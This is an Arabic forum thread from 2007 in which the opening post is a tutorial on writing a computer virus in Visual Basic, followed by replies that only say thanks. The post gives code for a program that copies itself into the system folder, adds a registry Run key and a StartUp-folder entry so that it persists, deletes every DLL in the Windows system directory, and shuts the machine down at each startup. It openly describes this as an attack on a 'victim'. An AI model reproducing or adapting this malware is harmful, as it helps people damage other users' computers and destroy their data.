منتديات داونلودز2


العودة   منتديات داونلودز2 > >

الهاكر و الحماية تحميل جميع برامج الهاكر و الحماية

اقوى عروض الويندوز و اللينكس VPS مقدمة من شبكة داونلودز2 !@!

اكونت سيرفر ويندوز اسطورى ( 8 كور بروسيسور + 32 جيجا رام + كونكشن 1 جيجا ) فقط بـ 50 جنيهأ !@!



كيف تعمل الفيروس

السلام عليكم ورحمة اله وبركاته هنا بعض الطرق التي اعرفها والتي ستساعدك على عمل فايروس في vb لنبدأ: اولا يجب

إنشاء موضوع جديد  إضافة رد
 
أدوات الموضوع انواع عرض الموضوع
قديم 02-22-2007, 02:16 PM   #1 (permalink)
عضو ماسى
 




 
Gangasta على طريق التميز

افتراضي



السلام عليكم ورحمة اله وبركاته

هنا بعض الطرق التي اعرفها والتي ستساعدك على عمل فايروس في vb



لنبدأ: اولا يجب ان تعرف كيف تعمل نسخة للفيروس فمثلا عندما الضحية يحمل الفيروس ويشغلة سيقوم البرنامج بنسخ نسخة اخرى في السيستم او اي مكان اخر, هكذا:

[hide]





code:



--------------------------------------------------------------------------------



On Error Resume Next

Dim copy, copy2

copy = "c:\virus.exe"

copy2 = "c:\windows\system\Project12.exe"

FileCopy copy, copy2



--------------------------------------------------------------------------------









الان ايضا نحتاج لكي يعمل الفيروس دائما عند تشغيل الكمبيوتر وذلك عن طريق ال registry :







code:



--------------------------------------------------------------------------------



Option Explicit



Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long

Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long



Private Const REG_SZ = 1

Private Const LOCALMACHINE = &H80000002





Private Sub Command1_Click()

Dim InputValue As String

Dim nBufferKey As Long, nBufferSubKey As Long





RegCreateKey LOCALMACHINE, "SOFTWARE\JPRODUCTIONS", nBufferKey

RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey

RegOpenKey nBufferKey, "Run-", nBufferSubKey

InputValue = "c:\windows\system\Project12.exe"

RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey

RegOpenKey nBufferKey, "Run-", nBufferSubKey

RegSetValueEx nBufferSubKey, "My virus", 0, REG_SZ, InputValue, Len(InputValue)



End Sub



--------------------------------------------------------------------------------









الان لنبدأ بصنع الفيروس

ضع هذا في form_load

هذا الكود خطير ويقوم يحذف جميع ملفات dll الموجودة في system





code:



--------------------------------------------------------------------------------



Call Kill ("C:\WINDOWS\SYSTEM\ *.dll")

Call Shell("Rundll32.exe user,exitwindows")



--------------------------------------------------------------------------------









هذا الكود يقوم بأغلاق الجهاز كلما فتحتة





code:



--------------------------------------------------------------------------------



Name App.Path & "\Virus3.exe" As "C:\WINDOWS\Start Menu\Programs\StartUp\Virus3.exe"

Call Shell("Rundll32.exe user,exitwindows")



--------------------------------------------------------------------------------







لاتنسى تغيير virus3.exe الى الفيروس الذي صنعتة





[/hide]




Gangasta غير متواجد حالياً   رد مع اقتباس
قديم 02-23-2007, 04:06 PM   #2 (permalink)
عضو مبدع
 




 
mail_mahmod2 على طريق التميز

افتراضي


thannnnnnnnxxxxxxxxxxxxxxxxxx



mail_mahmod2 غير متواجد حالياً   رد مع اقتباس
قديم 02-24-2007, 07:17 PM   #3 (permalink)
عضو نشيط
 




 
haythem على طريق التميز

افتراضي


thanks



haythem غير متواجد حالياً   رد مع اقتباس
قديم 02-25-2007, 03:05 PM   #4 (permalink)
عضو مجتهد
 




 
meshoo على طريق التميز

افتراضي





meshoo غير متواجد حالياً   رد مع اقتباس
قديم 03-08-2007, 10:55 PM   #5 (permalink)
عضو مجتهد
 




 
sam ezz على طريق التميز

افتراضي





sam ezz غير متواجد حالياً   رد مع اقتباس
قديم 04-30-2007, 12:07 AM   #6 (permalink)
عضو مجتهد
 




 
nidhal على طريق التميز

افتراضي


merci



nidhal غير متواجد حالياً   رد مع اقتباس
قديم 04-30-2007, 04:52 PM   #7 (permalink)
عضو نشيط
 




 
ostora على طريق التميز

افتراضي


شكرن



ostora غير متواجد حالياً   رد مع اقتباس
قديم 05-04-2007, 09:59 PM   #8 (permalink)
عضو نشيط
 




 
Modmod على طريق التميز

افتراضي


Thanks alot



Modmod غير متواجد حالياً   رد مع اقتباس
قديم 06-29-2007, 03:09 AM   #9 (permalink)
عضو نشيط
 




 
mohamed950 على طريق التميز

افتراضي





mohamed950 غير متواجد حالياً   رد مع اقتباس
قديم 07-02-2007, 12:47 PM   #10 (permalink)
عضو جديد
 




 
ameur2500 على طريق التميز

افتراضي


hi



ameur2500 غير متواجد حالياً   رد مع اقتباس
إنشاء موضوع جديد  إضافة رد

مواقع النشر (المفضلة)

جديد مواضيع قسم الهاكر و الحماية

أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are معطلة
Pingbacks are معطلة
Refbacks are معطلة



الساعة الآن 03:50 PM


منتديات داونلودز2

RSS RSS 2.0 XML MAP HTML
 

 

   Downloadiz2.Com - Powered by vBulletin® Copyright ©2000 - 2017, Jelsoft Enterprises Ltd